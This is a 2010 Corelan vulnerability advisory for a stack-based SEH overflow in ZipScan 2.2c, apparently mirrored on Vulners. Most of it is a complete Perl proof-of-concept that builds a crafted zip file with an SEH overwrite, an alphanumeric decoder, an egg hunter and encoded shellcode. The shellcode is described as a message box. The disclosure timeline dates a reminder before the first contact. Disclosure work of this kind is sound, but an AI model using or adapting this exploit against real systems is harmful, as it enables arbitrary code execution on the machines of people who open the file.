`
|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| [email protected] |
| |
|-------------------------------------------------[ EIP Hunters ]--|
| |
| Vulnerability Disclosure Report |
| |
|------------------------------------------------------------------|
Advisory : CORELAN-10-020
Disclosure date : April 3rd, 2010
http://www.corelan.be:8800/advisories.php?id=CORELAN-10-020
00 : Vulnerability information
-------------------------------------
Product : ZipScan 2.2c
Version : 2.2c (latest version)
Vendor : [email protected] / http://www.zipscan.co.uk/
URL : http://www.zipscan.co.uk/download.htm
Platform : Windows
Type of vulnerability : Stack overflow
Risk rating : medium
Issue fixed in version : not fixed
Vulnerability discovered by : Lincoln
Corelan Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/
01 : Vendor description of software
-------------------------------------
>From the vendor website:
"ZipScan searches archive files. It can search Zip, CAB, RAR, ACE,
InstallShield CAB, JAR, TAR, GZIP, Z, ZOO, LZH, ARJ, CHM and
OpenOffice files, including password-protected, nested and
self-extracting archives. The program supports text searching and can
open and extract files."
02 : Vulnerability details
-------------------------------------
When a specially crafted zip file is opened from within ZipScan,
an exception handler gets overwritten, allowing to trigger arbitrary
code execution.
The way to trigger the vulnerability :
- open the zip file from within ZipScan : "File - Open Archive File"
Or
- Click "open archive file and view its contents"
- double-click on the filename inside the zip file
03 : Author/Vendor communication
-------------------------------------
March 23 2010 : author contacted
March 20 2010 : sent reminder
April 3 2010 : No response, public disclosure
04 : PoC
----------
#!/usr/bin/perl
# Software : ZipScan 2.2c (.zip)
# Bug found by : Lincoln
# Author : Lincoln & corelanc0d3r
# OS : Windows
# Tested on : XP SP3 En (VirtualBox)
# Type of vuln : SEH
# Greetz to : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
#
# Code :
print "|------------------------------------------------------------------|\n";
print "| __ __ |\n";
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";
print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n";
print "| |\n";
print "| http://www.corelan.be:8800 |\n";
print "| |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] Exploit for ZipScan 2.2c \n";
my $filename="zipscan.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x88\x13" .# file size: 5k
"\x00\x00\x00";
my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x88\x13". # file size: 5k
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";
my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00".
"\xb6\x13\x00\x00". # +46
"\xa6\x13\x00\x00". # +30
"\x00\x00";
my $decoder =
#pop edx pop esp
"\x5b\x5b\x5b\x5b\x5c".
#jmp ebp
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2d\x55\x55\x55\x64".
"\x2d\x55\x55\x55\x64".
"\x2d\x56\x55\x56\x51".
"\x50".
#add ebp, 526h
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2d\x35\x69\x48\x54".
"\x2d\x25\x69\x48\x54".
"\x2d\x25\x68\x48\x52".
"\x50".
#jmp back to decoded op code
"\x7a\xb5";
#basereg ebp, modified egg hunter mov edx,ebp
#points egg hunter to unmodified shellcode
my $egg =
"UYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0".
"BBABXP8ABuJIOyJB2bPRPjs2shZmfNwLWuSj44ho".
"nXRWdpVPqdNkXznOrUZJNO45jGKOxgA";
#msg box "Exploited by Corelan Security Team"
#encoded with Alpha2 base reg edi
my $shellcode =
"w00tw00t".
"WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0B".
"BABXP8ABuJIoy8c9JkgXYt3jTsiQYg9syQYqYbiRiW".
"9g9QYBiCsrc0CqSssssvW3aqJqzQQV8BpVPqQ4p712".
"KQQsqv1drBabbP2QRcrTprbw2RaSrpXrpTx2a72RU0".
"JCyPJrYSzpKPMrkRk59V1qtSuptQZaD75QqRnP2Rnb".
"rBbQJQVPQ3yV9pBaTPN2Ksa3Q74bPBl0KQSw6BdPLP".
"NBK3rsfqW0lrlpKBqQFQTpHBlRkpQPnbeppBn2Ksua".
"vrpWHRpBoswQxPPPuPLTsBpRy1UPQPKQq0KropH51p".
"QRPPL2kPPPlQVrd0E44pL2kCaruqWpLBlpKpPcd0Cd".
"uPPRXPCFQpKaJ0LPK2b2JpGSXPNRKw3BJW7Rpsucar".
"jpKQX53QVf7bpw9BnbKW4PtBlRkw5pQQZ0NBd410I0".
"orpDqBkppbkPLBnblpOSDPKRPQSpDqV0jaZCQrjBOq".
"T0M3wqarkSGcxPi3zPQrkPOPIrOG9ROSurKpCrlqUS".
"D3aUhrqau1Yrn0NPkpB1jsu0tRerq0JpKssqF2nBK3".
"vPlSr2K2lpKssSZPEpLPC6QSzbkPNPkW5qDRnRKqW4".
"1RmwHRosISabtcv74rgbLG5fQBj2C0Og2QT1XbfBiW".
"8sdpOpy2kQEpMv9CyrrpPbHpLpN0PRnQTpN3xRLRp2".
"rpKrxpM2lpKBoqYpoPKPO2oQiv1seG6QtpMpkF1PnS".
"yQX0MtrpQrC2lpGsu0LPD54sag2pMtxPNBKw9ROBiR".
"OPK0OPLRiqRsUQWBXG32x1RPL2pPl0EPppKpOrqPxQ".
"Ww3Suu2sv2nreVT3u4xV1REPQqspEp50D6RRmChV1p".
"LaT2D2dczBlSyaXcVQSbFpKroSsqu3v3TblCy2k0rp".
"PpPpMbKPN78rlarv0pMpMplpNpgQWpl3w2t2fVRpKs".
"hpC2NpIPoPIpoRiPoCraXPQrTqURQpQpHpEPp73PXQ".
"T4pQS77aRRnw2G5CtPq0K0kPKGHqSplSuBTaVu6pK0".
"9QXRCpE6X2p51G2PMv0shG5Pprqt8QRsiqUbPRpSdp".
"QRUbqrXQTVU1S3rrpPiPQU4PCv8savPQS2Cg5Ue3sC".
"cV1t8qRW5PBPL0PsQRp0nrbcxpQDpSaPSRp2OPPRRQ".
"UUhpCpTv1dpbp2B73W9PQPx3rpOpCQIsr2tBppeF1b".
"XSrpepQu872pPV0BLW6saQXCyRnaxBpPLbf74PEPr0".
"MCi0IBQqTt1pJprqSrBCsSSRp0QQVp2pKRo1X0PRpt".
"qpOVPPF6PbkPObqPECtsxSuRzQQ1QA";
#Filler
my $mjunk = "A" x 30;
# --- payload --- 5k total
my $junk = "A" x 22 . $egg . "A" x 3427;
my $nseh="\x7a\x06\x41\x41";
my $seh="\x16\x09\x01\x10"; #universal
my $payload = $junk.$nseh.$seh.$decoder.$shellcode.$mjunk;
$payload = $payload . ".txt";
print "[+] Size : " . length($payload)."\n";
system("del $filename");
print "[+] Creating new vulnerable file: $filename\n\n";
open(FILE, ">$filename");
print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header;
close(FILE);
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation